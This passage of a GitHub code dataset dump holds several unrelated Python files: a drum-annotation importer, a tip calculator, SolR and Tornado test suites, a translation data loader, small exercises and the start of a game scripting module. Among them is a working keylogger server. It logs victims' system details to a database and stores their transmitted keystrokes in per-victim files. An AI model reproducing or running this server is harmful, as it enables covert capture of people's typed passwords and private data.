np.array([], dtype=np.int32),\n }\n\n onsets['HH'], onsets['KD'], onsets['SD'] = get_onsets(os.path.join(smt_unzip, 'annotation_xml', fn))\n\n with open(os.path.join(smt_drums_folder, 'annotations', fn.replace('.xml', '.txt')), 'w') as f:\n for key in onsets:\n for t in onsets[key]:\n f.write('%f\\t%s\\n' % (t, key))\n\n print('Processing audio files - copying them..')\n audio_path = os.path.join(smt_drums_folder, 'audio')\n if os.path.exists(audio_path):\n shutil.rmtree(audio_path)\n os.makedirs(audio_path, exist_ok=True)\n\n for filename in os.listdir(os.path.join(smt_unzip, 'audio')):\n if 'MIX' in filename:\n shutil.copy(os.path.join(smt_unzip, 'audio', filename),\n os.path.join(audio_path, filename))\n print('all done! check out if everything is fine at %s' % smt_drums_folder)\n","repo_name":"keunwoochoi/DrummerNet","sub_path":"drummernet/eval_import_smt.py","file_name":"eval_import_smt.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"31"} +{"seq_id":"39510397876","text":"#1. Create a greeting\nprint(\"Welcome to the tip calculator.\")\n\n#2 Create 3 var equal to.\ntotal_bill = input(\"What was the total bill? \")\npercentage = input(\"What percentage tip would you like to give? 15, 18, or 20? \")\npeople = input(\"How many people to split the bill? \")\n\n#3 Changes those var into int and float.\nmoney = float(total_bill)\ntip = int(percentage)\nsplit = int(people)\n\nbill_ppl = (money * (1 + (tip / 100)) / split)\nfinal = round(bill_ppl)\n\n#4 Limiting floats to two decimal points with \"{:.2f}\".format\nfinal = \"{:.2f}\".format(bill_ppl)\n\nprint(f\"Each person should pay: $ {final}\")","repo_name":"GArvelo/tip-calculator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34573951889","text":"import pytest\nimport uuid\nfrom tools import causeException\n\nfrom dmci.distributors import SolRDist\nfrom dmci.distributors.distributor import DistCmd\n\n\nclass MockIndexMMD:\n def __init__(self, *args, **kwargs):\n pass\n\n def get_dataset(self, *args, **kwargs):\n is_indexed = {\n 'doc': None,\n }\n return is_indexed\n\n def index_record(self, *args, **kwargs):\n return True, 'test'\n\n def update_parent(self, *args, **kwargs):\n return True, \"Test successful update message\"\n\n\nclass MockMMD4SolR:\n def __init__(self, *args, **kwargs):\n pass\n\n def check_mmd(self, *args, **kwargs):\n return None\n\n def tosolr(self, *args, **kwargs):\n solr_formatted = {\n 'id': 'no-test-250ba38f-1081-4669-a429-f378c569db32',\n 'metadata_identifier': 'no.test:250ba38f-1081-4669-a429-f378c569db32',\n }\n return solr_formatted\n\n\nclass mockResp:\n text = \"Mock response\"\n status_code = 200\n\n\nclass mockWorker:\n _namespace = \"\"\n\n\n@pytest.mark.dist\ndef testDistSolR_Init(tmpUUID):\n \"\"\"Test the SolRDist class init.\"\"\"\n # Check that it initialises properly by running some of the simple\n # Distributor class tests\n assert SolRDist(\"insert\", metadata_UUID=tmpUUID).is_valid() is False\n assert SolRDist(\"update\", metadata_UUID=tmpUUID).is_valid() is False\n assert SolRDist(\"delete\", metadata_UUID=tmpUUID).is_valid() is True\n assert SolRDist(\"blabla\", metadata_UUID=tmpUUID).is_valid() is False\n\n\n@pytest.mark.dist\ndef testDistSolR_InitAuthentication(mockXml):\n \"\"\"Test the authentication initiation by\n first initiate a SolRDist without authentication, then call\n _init_authentication with new conf values\n \"\"\"\n sd = SolRDist(\"insert\", xml_file=mockXml)\n assert sd.is_valid()\n assert sd._conf.solr_username is None\n assert sd._conf.solr_password is None\n assert sd.authentication is None\n\n sd._conf.solr_username = \"username\"\n sd._conf.solr_password = \"password\"\n assert sd._init_authentication() is not None\n\n\n@pytest.mark.dist\ndef testDistSolR_Run(mockXml):\n \"\"\"Test the SolRDist class run function.\"\"\"\n\n # Initialise object, and check that it validates\n tstDist = SolRDist(\"insert\", xml_file=mockXml)\n assert tstDist.is_valid()\n\n # Invalidate object and assert that the run function returns the\n # expected tuple\n tstDist._valid = False\n assert tstDist.run() == (False, \"The run job is invalid\")\n\n tstDist._valid = True\n\n # Mock functions called by SolRDist.run\n tstDist._add = lambda *a: (True, \"test\")\n tstDist._delete = lambda *a: (True, \"test\")\n\n tstDist._cmd = DistCmd.INSERT\n assert tstDist.run() == (True, \"test\")\n\n tstDist._cmd = DistCmd.UPDATE\n assert tstDist.run() == (True, \"test\")\n\n tstDist._cmd = DistCmd.DELETE\n assert tstDist.run() == (True, \"test\")\n\n tstDist._cmd = 1234\n assert tstDist.run() == (False, \"No job was run\")\n\n\n@pytest.mark.dist\ndef testDistSolR_AddMMD4SolRRaisesException(mockXml, monkeypatch):\n \"\"\" Test _add function failing on initialization of MMD4SolR\n instance.\n \"\"\"\n # Initialise object, and check that it validates\n tstDist = SolRDist(\"insert\", xml_file=mockXml)\n assert tstDist.is_valid()\n\n with monkeypatch.context() as mp:\n mp.setattr(\"dmci.distributors.solr_dist.MMD4SolR\", causeException)\n assert tstDist._add() == (\n False, \"Could not read file %s: Test Exception\" % mockXml\n )\n\n\n@pytest.mark.dist\ndef testDistSolR_AddSuccessful(mockXml, monkeypatch):\n \"\"\" Test that the _add function successfully completes with the\n correct return message.\n \"\"\"\n with monkeypatch.context() as mp:\n mp.setattr(\"dmci.distributors.solr_dist.MMD4SolR\",\n lambda *args, **kwargs: MockMMD4SolR(*args, **kwargs))\n mp.setattr(\"dmci.distributors.solr_dist.IndexMMD\",\n lambda *args, **kwargs: MockIndexMMD(*args, **kwargs))\n\n # Initialise object, and check that it validates\n tstDist = SolRDist(\"insert\", xml_file=mockXml)\n assert tstDist.is_valid()\n assert tstDist._add() == (\n True, \"test\"\n )\n # Check that it fails correctly if index_record raises an\n # exception\n mp.setattr(MockIndexMMD, \"index_record\", causeException)\n assert tstDist._add() == (\n False, \"Could not index file %s, in SolR. Reason: Test Exception\" % mockXml\n )\n\n\ndef testDistSolR_AddSuccessfulWithRelatedDataset(mockXml, monkeypatch):\n \"\"\" Test that the _add function successfully completes with the\n correct return message.\n \"\"\"\n\n with monkeypatch.context() as mp:\n mp.setattr(\"dmci.distributors.solr_dist.MMD4SolR\",\n lambda *args, **kwargs: MockMMD4SolR(*args, **kwargs))\n mp.setattr(\"dmci.distributors.solr_dist.IndexMMD\",\n lambda *args, **kwargs: MockIndexMMD(*args, **kwargs))\n mp.setattr(MockMMD4SolR, \"tosolr\",\n lambda *a, **k: {\n \"doc\": None,\n \"id\": \"no-met-dev-250ba38f-1081-4669-a429-f378c569db32\",\n \"metadata_identifier\": \"no.met.dev:250ba38f-1081-4669-a429-f378c569db32\",\n \"related_dataset\": \"no.met.dev:350ba38f-1081-4669-a429-f378c569db32\",\n \"related_dataset_id\": \"no-met-dev-350ba38f-1081-4669-a429-f378c569db32\",\n })\n\n # Initialise object, and check that it validates\n tstDist = SolRDist(\"insert\", xml_file=mockXml)\n assert tstDist.is_valid()\n assert tstDist._add() == (\n True, \"test\"\n )\n\n # Check that it fails correctly if index_record raises an\n # exception\n mp.setattr(MockIndexMMD, \"index_record\", causeException)\n assert tstDist._add() == (\n False, \"Could not index file %s, in SolR. Reason: Test Exception\" % mockXml\n )\n\n # And failing when it fails to update_parent\n mp.setattr(MockIndexMMD, \"update_parent\",\n lambda *a, **k: (False, \"No parent\"))\n assert tstDist._add() == (\n False, \"No parent\"\n )\n\n\n@pytest.mark.dist\ndef testDistSolR_AddTosolrRaisesException(mockXml, monkeypatch):\n \"\"\" Test that the _add function fails correctly when\n MMD4SolR.tosolr raises an exception.\n \"\"\"\n with monkeypatch.context() as mp:\n mp.setattr(\"dmci.distributors.solr_dist.MMD4SolR\",\n lambda *args, **kwargs: MockMMD4SolR(*args, **kwargs))\n mp.setattr(MockMMD4SolR, \"tosolr\", causeException)\n tstDist = SolRDist(\"insert\", xml_file=mockXml)\n assert tstDist._add() == (\n False, \"Could not process the file %s: Test Exception\" % mockXml\n )\n\n\n@pytest.mark.dist\ndef testDistSolR_AddDocExists(mockXml, monkeypatch):\n \"\"\" Test that an the _add function fails correctly when the\n dataset already exists.\n \"\"\"\n with monkeypatch.context() as mp:\n mp.setattr(\"dmci.distributors.solr_dist.IndexMMD.get_dataset\",\n lambda *a, **k: {\"doc\": \"test\"})\n mp.setattr(\"dmci.distributors.solr_dist.MMD4SolR.check_mmd\",\n lambda *a, **k: None)\n mp.setattr(\"dmci.distributors.solr_dist.MMD4SolR.tosolr\",\n lambda *a, **k: {\n 'id': 'no-met-dev-250ba38f-1081-4669-a429-f378c569db32',\n 'metadata_identifier': 'no.met.dev:250ba38f-1081-4669-a429-f378c569db32',\n })\n tstDist = SolRDist(\"insert\", xml_file=mockXml)\n assert tstDist._add() == (\n False,\n \"Document already exists in index, no.met.dev:250ba38f-1081-4669-a429-f378c569db32\"\n )\n\n\n@pytest.mark.dist\ndef testDistSolR_Delete(monkeypatch, mockXml):\n \"\"\"Test the SolRDist class delete via distributor.run()\"\"\"\n md_uuid = uuid.UUID(\"250ba38f-1081-4669-a429-f378c569db32\")\n\n assert SolRDist(\"delete\").run() == (False, \"The run job is invalid\")\n assert SolRDist(\"delete\", xml_file=mockXml).run() == (False, \"The run job is invalid\")\n\n assert SolRDist(\"delete\", metadata_UUID=md_uuid, worker=mockWorker).is_valid()\n\n # mysolr.delete with and without namespace\n with monkeypatch.context() as mp:\n mp.setattr(\n \"dmci.distributors.solr_dist.IndexMMD.delete\", lambda self, my_id, *b, **k:\n (\"Mock Response\", my_id)\n )\n with pytest.raises(ValueError):\n res = SolRDist(\"delete\", metadata_UUID=md_uuid, worker=mockWorker).run()\n\n mockWorker._namespace = \"no.test\"\n res = SolRDist(\"delete\", metadata_UUID=md_uuid, worker=mockWorker).run()\n assert res == (\"Mock Response\", \"no.test:250ba38f-1081-4669-a429-f378c569db32\")\n","repo_name":"metno/discovery-metadata-catalog-ingestor","sub_path":"tests/test_dist/test_solr_dist.py","file_name":"test_solr_dist.py","file_ext":"py","file_size_in_byte":8784,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15715190582","text":"import random\nimport time\nimport cProfile\nimport multiprocessing\nimport numpy as np\nfrom memory_profiler import profile\n\ndef create_matrix(n):\n \"\"\"\n Create a random n x n matrix of integers between 1 and 10.\n \"\"\"\n return np.random.randint(1, 11, size=(n, n))\n\ndef matrix_game(matrix):\n \"\"\"\n Play a matrix game where each player chooses a row and a column,\n and the player with the highest value in their chosen cell wins.\n \"\"\"\n n = matrix.shape[0]\n # Player 1 chooses a row and column\n row1 = np.arange(n)\n col1 = np.random.randint(n, size=n)\n # Player 2 chooses a row and column\n row2 = np.random.randint(n, size=n)\n col2 = np.random.randint(n, size=n)\n # Determine the winner of each round\n player1_score = np.sum(matrix[row1, col1] > matrix[row2, col2])\n player2_score = np.sum(matrix[row1, col1] < matrix[row2, col2])\n # If the values are equal, no one wins\n if player1_score > player2_score:\n return 1\n elif player1_score < player2_score:\n return 2\n else:\n return 0\n\n\ndef main():\n #print(\"x\")\n n = 5000\n matrix = create_matrix(n)\n start_time = time.time()\n winner = matrix_game(matrix)\n end_time = time.time()\n\n# Test the matrix game\nif __name__ == '__main__':\n print(\"\\n\\n\\n\\n\")\n #main()\n cProfile.run('main()')\n print(\"\\n Done with op_matrix.py\")","repo_name":"danling416/522Project","sub_path":"toy_programs/522_python_programs/op_matrix.py","file_name":"op_matrix.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29028724016","text":"# Reverse Vowels of a String\n# Easy\n\ndef reverseVowels(s: str) -> str:\n \n posivec = []\n vowels = []\n for i in range(len(s)):\n c = s[i]\n if c == 'a' or c == 'e' or c == 'i' or c == 'o' or c == 'u' or c == 'A' or c == 'E' or c == 'I' or c == 'O' or c == 'U':\n posivec.append(i)\n vowels.append(c)\n \n siz = len(vowels)\n for i in range(siz):\n pos = posivec[siz - i - 1]\n s = s[:pos] + vowels[i] + s[pos + 1:]\n\n return s\n","repo_name":"GabrielBifano/Leetcode","sub_path":"Python/345.py","file_name":"345.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"7680765833","text":"import socket\r\nimport threading\r\nimport sqlite3\r\nfrom prettytable import from_db_cursor\r\n\r\n\r\nclass KeyloggerServer:\r\n\r\n def __init__(self, port, ip):\r\n self.port = port\r\n self.host = ip\r\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.cmd = \"\"\r\n self.client_conn_object = []\r\n self.client_conn_object.append(\"\")\r\n self.dbConn = self.create_db()\r\n\r\n\r\n # accept connection\r\n def handle_connection(self, conn, addr):\r\n print(\"\\n[+]Node \" + str(addr) + \" has just connected!!! \\n\")\r\n\r\n fileName = str(addr) + \"log.txt\"\r\n try:\r\n with open(fileName, 'a') as file:\r\n file.close()\r\n except OSError:\r\n print(\"[+]unable to create file\")\r\n\r\n data = conn.recv(65535).decode() # receives system info from client\r\n self.store_node_data(self.dbConn, conn, fileName, data.split(\",\"))# store client information\r\n\r\n while True:\r\n conn.setblocking(True)\r\n data = conn.recv(65535).decode()\r\n self.writeToTxt(data, fileName)\r\n\r\n\r\n def start(self):\r\n self.sock.bind((self.host, self.port))\r\n self.sock.listen(2)\r\n print(\"[+]Listening for connection on port\", self.port)\r\n while True:\r\n conn, addr = self.sock.accept()\r\n thread1 = threading.Thread(target=self.handle_connection, args=(conn, addr))\r\n thread2 = threading.Thread(target=self.main)\r\n thread1.start()\r\n thread2.start()\r\n\r\n\r\n # creates database where connected client info will be stored\r\n def create_db(self):\r\n try:\r\n database_conn_object = sqlite3.connect('clientDatabase.db', check_same_thread=False)\r\n cursor = database_conn_object.cursor()\r\n # creates table if it does not exist\r\n cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS connectedNodes(\r\n Client_ID INTEGER PRIMARY KEY NOT NULL,\r\n Date_Joined DATETIME DEFAULT CURRENT_TIMESTAMP,\r\n Node_Name TEXT NULL,\r\n IP_Address TEXT NULL,\r\n Mac_Address TEXT NULL,\r\n Platform TEXT NULL,\r\n Release TEXT NULL,\r\n Processor TEXT NULL,\r\n File_Name TEXT NULL\r\n );\r\n \"\"\")\r\n # deletes whatever is in the table if it already exists\r\n cursor.execute('DELETE FROM connectedNodes;');\r\n database_conn_object.commit() # commits changes to database\r\n print(\"[+]Database Created!!!\")\r\n return database_conn_object # socket connection object\r\n except:\r\n print(\"[-]Unable To create database!!!\")\r\n\r\n\r\n # store client information in database when a new connection is made\r\n def store_node_data(self, client_database_conn, conn, fileName, client_sysinfo_list):\r\n cursor = client_database_conn.cursor()\r\n self.client_conn_object.append(conn) # add client conn to list as socket object cant be stored in the database\r\n # insert client info into database\r\n cursor.execute(\r\n \"INSERT INTO connectedNodes(Node_Name, IP_Address, Mac_Address, Platform, Release, Processor, File_Name) VALUES(?, ?, ?, ?, ?, ?, ?)\",\r\n (str(client_sysinfo_list[0]), str(client_sysinfo_list[1]),\r\n str(client_sysinfo_list[2]), str(client_sysinfo_list[3]),\r\n str(client_sysinfo_list[4]), str(client_sysinfo_list[5]),\r\n str(fileName)\r\n ))\r\n client_database_conn.commit() # commits changed\r\n\r\n #write data recieved to a text file\r\n def writeToTxt(self, data, fileName):\r\n with open(fileName, \"a\") as logFile:\r\n logFile.write(data)\r\n logFile.close()\r\n\r\n #display system information of connected nodes\r\n def get_nodes_info(self):\r\n cursor = self.dbConn.cursor()\r\n for conn_obj in range(1, len(self.client_conn_object)):\r\n try:\r\n # check if clients listed in database are still connected to the server\r\n self.client_conn_object[conn_obj].send(\"conn check\".encode())\r\n except:\r\n # remove information from database and client_conn_object list if not connected\r\n self.client_conn_object.remove(self.client_conn_object[conn_obj])\r\n cursor.execute(\"DELETE FROM connectedNodes WHERE Client_ID=?\", (str(conn_obj)))\r\n\r\n cursor.execute(\"SELECT * FROM connectedNodes\") # retrieve all client information in the database\r\n connected_client = from_db_cursor(cursor) # insert retrieved client information into a table\r\n print(connected_client)\r\n\r\n #print connected clients\r\n def get_connected_clients(self):\r\n for client in self.client_conn_object:\r\n print(client)\r\n\r\n#print out the contents of text file\r\n def get_file_content(self, client_id):\r\n cursor = self.dbConn.cursor()\r\n cursor.execute(\"SELECT File_Name FROM connectedNodes WHERE Client_ID=?\", (str(client_id)))\r\n fileName = str(cursor.fetchall())\r\n fileName = fileName[3:]\r\n fileName = fileName[:-4]\r\n with open(fileName, \"r\") as logFile:\r\n lines = logFile.readlines()\r\n for line in lines:\r\n print(line)\r\n logFile.close()\r\n\r\n\r\n def main(self):\r\n while True:\r\n self.cmd = input(\"\\n \\033[1;32mKeylogger>\\033[1;m \")\r\n if self.cmd == \"nodes\":\r\n self.get_nodes_info()\r\n elif \"get\" in self.cmd:\r\n self.cmd = self.cmd.split()\r\n self.get_file_content(str(self.cmd[-1]))\r\n else:\r\n print(\"[-]Invalid command!!!\")\r\n\r\n\r\ncall = KeyloggerServer(5000, socket.gethostbyname(socket.gethostname()))\r\ncall.start()\r\n\r\n","repo_name":"8itwise/Python","sub_path":"Keylogger-main/Keylogger-main/server/keylogger_server.py","file_name":"keylogger_server.py","file_ext":"py","file_size_in_byte":6054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27708181669","text":"import concurrent.futures\nimport mock\nimport mongomock\nimport tornado\nimport tornado.testing\n\nimport handlers.app\nimport urls\n\n# Default Content-Type header returned by Tornado.\nDEFAULT_CONTENT_TYPE = 'application/json; charset=UTF-8'\n\n\nclass TestDefconfHandler(\n tornado.testing.AsyncHTTPTestCase, tornado.testing.LogTrapTestCase):\n\n def setUp(self):\n self.mongodb_client = mongomock.Connection()\n\n super(TestDefconfHandler, self).setUp()\n\n patched_find_token = mock.patch(\n \"handlers.base.BaseHandler._find_token\")\n self.find_token = patched_find_token.start()\n self.find_token.return_value = \"token\"\n\n patched_validate_token = mock.patch(\"handlers.common.validate_token\")\n self.validate_token = patched_validate_token.start()\n self.validate_token.return_value = (True, \"token\")\n\n self.addCleanup(patched_find_token.stop)\n self.addCleanup(patched_validate_token.stop)\n\n def get_app(self):\n dboptions = {\n 'dbpassword': \"\",\n 'dbuser': \"\"\n }\n\n settings = {\n 'dboptions': dboptions,\n 'client': self.mongodb_client,\n 'executor': concurrent.futures.ThreadPoolExecutor(max_workers=2),\n 'default_handler_class': handlers.app.AppHandler,\n 'debug': False,\n }\n\n return tornado.web.Application([urls._DEFCONF_URL], **settings)\n\n def get_new_ioloop(self):\n return tornado.ioloop.IOLoop.instance()\n\n def test_get_wrong_url(self):\n response = self.fetch('/foobardefconf')\n\n self.assertEqual(response.code, 404)\n self.assertEqual(\n response.headers['Content-Type'], DEFAULT_CONTENT_TYPE)\n\n @mock.patch('utils.db.find')\n @mock.patch('utils.db.count')\n def test_get(self, mock_count, mock_find):\n mock_count.return_value = 0\n mock_find.return_value = []\n\n expected_body = '{\"count\":0,\"code\":200,\"limit\":0,\"result\":[]}'\n\n headers = {'Authorization': 'foo'}\n response = self.fetch('/defconfig', headers=headers)\n\n self.assertEqual(response.code, 200)\n self.assertEqual(\n response.headers['Content-Type'], DEFAULT_CONTENT_TYPE)\n self.assertEqual(response.body, expected_body)\n\n @mock.patch('bson.objectid.ObjectId')\n @mock.patch('handlers.defconf.DefConfHandler.collection')\n def test_get_by_id_not_found(self, mock_collection, mock_id):\n mock_id.return_value = \"defconf\"\n mock_collection.find_one = mock.MagicMock()\n mock_collection.find_one.return_value = None\n\n headers = {'Authorization': 'foo'}\n response = self.fetch('/defconfig/defconf', headers=headers)\n\n self.assertEqual(response.code, 404)\n self.assertEqual(\n response.headers['Content-Type'], DEFAULT_CONTENT_TYPE)\n\n def test_post_no_token(self):\n response = self.fetch('/defconfig', method='POST', body='')\n\n self.assertEqual(response.code, 403)\n self.assertEqual(\n response.headers['Content-Type'], DEFAULT_CONTENT_TYPE)\n\n def test_post_token(self):\n # POST is not implemented for the DefConfHandler.\n headers = {\n 'Authorization': 'foo',\n 'Content-Type': 'application/json'\n }\n response = self.fetch(\n '/defconfig', method='POST', body=\"{}\", headers=headers)\n\n self.assertEqual(response.code, 501)\n self.assertEqual(\n response.headers['Content-Type'], DEFAULT_CONTENT_TYPE)\n\n def test_delete(self):\n db = self.mongodb_client['kernel-ci']\n db['defconfig'].insert(dict(_id='defconf', job_id='job'))\n\n headers = {'Authorization': 'foo'}\n\n response = self.fetch(\n '/defconfig/defconf', method='DELETE', headers=headers,\n )\n\n self.assertEqual(response.code, 200)\n self.assertEqual(\n response.headers['Content-Type'], DEFAULT_CONTENT_TYPE)\n","repo_name":"joyxu/kernelci-backend","sub_path":"app/handlers/tests/test_defconf_handler.py","file_name":"test_defconf_handler.py","file_ext":"py","file_size_in_byte":3975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26907828655","text":"import numpy as np\nimport torch\nfrom torch.nn.utils.rnn import pad_sequence\n\nfrom config import cfg\n\n\nclass DataSet:\n def __init__(self, corpus_file, clip_size=None):\n self.corpus_file = corpus_file\n self.clip_size = clip_size\n self.examples = self.load_dataset()\n\n def load_dataset(self):\n dataset = []\n fr = open(self.corpus_file, 'r', encoding='utf-8')\n for line in fr.readlines():\n segments = line.strip().split('\\t')\n if not len(segments) == 2:\n continue\n if len(segments[0].split(' ')) < cfg.max_len and len(segments[1].split(' ')) < cfg.max_len:\n src_sent = self.en_sentence2ids(segments[0], cfg.src_word2id)\n tgt_sent = self.ch_sentence2ids(segments[1], cfg.tgt_word2id)\n dataset.append([src_sent, tgt_sent])\n if self.clip_size:\n dataset = dataset[:self.clip_size]\n return dataset\n\n def en_sentence2ids(self, sentence, vocab):\n original_sent = [''] + sentence.split(' ') + ['']\n sent_ids = [cfg.sos_token]\n for word in sentence.split(' '):\n sent_ids.append(vocab.get(word, cfg.unk_token))\n sent_ids.append(cfg.eos_token)\n sent_ids = torch.tensor(sent_ids, dtype=torch.long)\n return (sent_ids, original_sent)\n\n def ch_sentence2ids(self, sentence, vocab):\n original_sent = [''] + sentence.split(' ') + ['']\n sent_ids = [cfg.sos_token]\n for character in sentence.split(' '):\n if character != '':\n sent_ids.append(vocab.get(character, cfg.unk_token))\n sent_ids.append(cfg.eos_token)\n sent_ids = torch.tensor(sent_ids, dtype=torch.long)\n return (sent_ids, original_sent)\n\n\nclass BatchData:\n def __init__(self, dataset: DataSet):\n self.batches_data = self.get_batch(dataset)\n\n def get_batch(self, dataset: DataSet):\n batches_data = []\n indices = list(range(len(dataset.examples)))\n np.random.shuffle(indices)\n batch_data = self.init_batch_items()\n for i in range(len(dataset.examples)):\n batch_data['src_tensor'].append(dataset.examples[indices[i]][0][0])\n batch_data['src_content'].append(dataset.examples[indices[i]][0][1])\n batch_data['tgt_tensor'].append(dataset.examples[indices[i]][1][0])\n batch_data['tgt_content'].append(dataset.examples[indices[i]][1][1])\n if (i + 1) % cfg.batch_size == 0:\n batch_data['src_tensor'] = pad_sequence(batch_data['src_tensor'])\n batch_data['src_content'] = batch_data['src_content']\n batch_data['src_mask'] = (batch_data['src_tensor'] != 0).float().unsqueeze(-1)\n batch_data['tgt_tensor'] = pad_sequence(batch_data['tgt_tensor'])\n batch_data['tgt_content'] = batch_data['tgt_content']\n batch_data['tgt_mask'] = (batch_data['tgt_tensor'] != 0).float().unsqueeze(-1)\n batches_data.append(batch_data)\n batch_data = self.init_batch_items()\n return batches_data\n\n def init_batch_items(self):\n items = ['src_tensor', 'src_content', 'tgt_tensor', 'tgt_content', 'src_mask', 'tgt_mask']\n batch_data = {}\n for item in items:\n batch_data[item] = []\n return batch_data\n","repo_name":"LCX-sz/NMT-lstm-","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8417433092","text":"\"\"\"\nДан список чисел. Выведите все элементы списка, которые больше предыдущего элемента.\n\"\"\"\n\n\ndef comparison_f(some_list):\n new_list = []\n for i in range(1, len(some_list)):\n if some_list[i] > some_list[i - 1]:\n new_list.append(some_list[i])\n return new_list\n\n\nif __name__ == '__main__':\n assert comparison_f([1, 2, 3, 4]) == [2, 3, 4]\n assert comparison_f([2, 3, 100, 4]) == [3, 100]\n assert comparison_f([-10, -2, 0, 4]) == [-2, 0, 4]\n","repo_name":"litvinovserge/WebAcademy","sub_path":"HomeWork_06/AssertTests/assert_Task_06.py","file_name":"assert_Task_06.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2069417673","text":"\n# coding=utf-8\n\nimport sys\nsys.path.append('ccentity')\nsys.path.append('ccevent')\nsys.path.append('ccrequest')\nsys.path.append('ccvariable')\n\nimport __main__\n\nimport time\n\nimport ccentity\nimport ccentity.entity\nimport ccentity.entity.ttypes\nimport ccentity.playing\nimport ccentity.playing.ttypes\n\nimport ccevent\nimport ccevent.ttypes\nimport ccevent.actor.ttypes\nimport ccevent.playing.ttypes\nimport ccevent.role.ttypes\n\nimport ccrequest\nimport ccrequest.ttypes\nimport ccrequest.playing.ttypes\n\nimport ccvariable\nimport ccvariable.ttypes\n\nimport proxy\n\nimport slaughter_house_types\nimport playing_types\n\nfrom thrift import TSerialization\n\n\ndef award_actor(actor, template, result, record):\n proxy.Logging.debug(\"[slaughter_house] award_actor(%d,%d)\" % (actor, template))\n\n if result.awarded_ == True:\n proxy.Logging.error(\"[slaughter_house] award_actor(%d,%d) has awarded.\"\\\n % (actor, template))\n return None\n\n if result.values_ == None:\n proxy.Logging.error(\"[slaughter_house] result.values_ is none.\")\n return None\n\n playing_config = slaughter_house_types.Config.get(template)\n if playing_config == None:\n proxy.Logging.error(\"[slaughter_house] slaughter_house_types.Config.get_ranking_award failed.\")\n return None\n\n playing_cell = playing_types.Config.get(template)\n if playing_cell == None:\n proxy.Logging.error(\"[slaughter_house] playing_types.Config.get(%d) failed.\" % template)\n return None\n\n request = ccrequest.playing.ttypes.RequestPlayingAwardActor()\n request.actor_ = actor\n request.playing_template_ = template\n request.awards_ = []\n\n multiple_awards = playing_config.get_ranking_award_multiple(result.values_[0])\n for i in range(0, multiple_awards):\n for award in playing_cell.awards_:\n request.awards_.append(award)\n\n if proxy.Request.request(ccrequest.ttypes.RequestType.REQUEST_PLAYING_AWARD_ACTOR,\\\n request) == False:\n proxy.Logging.error(\"[slaughter_house] request REQUEST_PLAYING_AWARD_ACTOR failed.\")\n return None\n\n proxy.Logging.debug(\"[slaughter_house] request REQUEST_PLAYING_AWARD_ACTOR\")\n\n\ndef update_record(actor, playing_template, result, record):\n if record.spend_secs_ <= 0:\n # 更新副本记录\n request = ccrequest.playing.ttypes.RequestPlayingUpdateRecord()\n request.actor_ = actor\n request.playing_template_ = playing_template\n request.record_ = ccentity.playing.ttypes.PlayingRecordField(record.period_count_, 1,\\\n record.first_pass_awarded_)\n request.record_.values_ = []\n # 发送请求\n proxy.Request.request(ccrequest.ttypes.RequestType.REQUEST_PLAYING_UPDATE_RECORD, request)\n proxy.Logging.debug(\"[slaughter_house] request REQUEST_PLAYING_UPDATE_RECORD\")\n\n\ndef initialize():\n summon_pos = [[43,5], [55,6], [62,23], [70,36], [71,49], [60,58], [48,72], [28,71],\\\n [20,59], [10,48], [6,37], [17,22]]\n\n boss_pos = [40, 40]\n award_pos = [40, 40]\n award_pos_range = 38\n\n for i in range(18, 22):\n playing_cell = playing_types.Config.get(i)\n if playing_cell == None:\n proxy.Logging.error(\"[slaughter_house] playing_types.Config.get(%d) failed.\" % i)\n return False\n\n playing_config = slaughter_house_types.PlayingConfig(i)\n playing_config.playing_time_ = playing_cell.finish_time_\n playing_config.pos_ = summon_pos\n playing_config.boss_pos_ = boss_pos\n playing_config.award_pos_ = award_pos\n playing_config.award_pos_range_ = award_pos_range\n\n for group in range(0, 8):\n monster_group = slaughter_house_types.MonsterGroupConfig()\n monster_group.boss_id_ = playing_cell.monster_number_order_[group*2][0]\n monster_group.boss_num_ = playing_cell.monster_number_order_[group*2][1]\n # 小boss10分\n playing_config.scores_[monster_group.boss_id_] = 10\n\n monster_group.award_monster1_id_ = playing_cell.monster_number_order_[group*2+1][0]\n monster_group.award_monster1_num_ = playing_cell.monster_number_order_[group*2+1][1]\n playing_config.scores_[monster_group.award_monster1_id_] = 1\n\n monster_group.monster1_id_ = playing_cell.monster_number_order_[16][0]\n monster_group.monster1_num_ = playing_cell.monster_number_order_[16][1]\n playing_config.scores_[monster_group.monster1_id_] = 1\n\n monster_group.monster2_id_ = playing_cell.monster_number_order_[17][0]\n monster_group.monster2_num_ = playing_cell.monster_number_order_[17][1]\n playing_config.scores_[monster_group.monster2_id_] = 1\n\n monster_group.award_monster2_id_ = playing_cell.monster_number_order_[18][0]\n monster_group.award_monster2_num_ = playing_cell.monster_number_order_[18][1]\n playing_config.monster_groups_.append(monster_group)\n playing_config.scores_[monster_group.award_monster2_id_] = 1\n\n playing_config.last_boss_id_ = playing_cell.monster_number_order_[19][0]\n # 大boss50分\n playing_config.scores_[playing_config.last_boss_id_] = 50\n # 杀人得1分\n playing_config.kill_actor_score_ = 1\n slaughter_house_types.Config.add(playing_config)\n\n proxy.Communicator.follow(ccevent.ttypes.EventType.EVENT_PLAYING_CREATE, i,\\\n ccevent.ttypes.ChannelType.CHANNEL_PLAYING, \"playing_slaughter_house_on_event_playing_create\")\n proxy.Communicator.follow(ccevent.ttypes.EventType.EVENT_PLAYING_DESTORY, 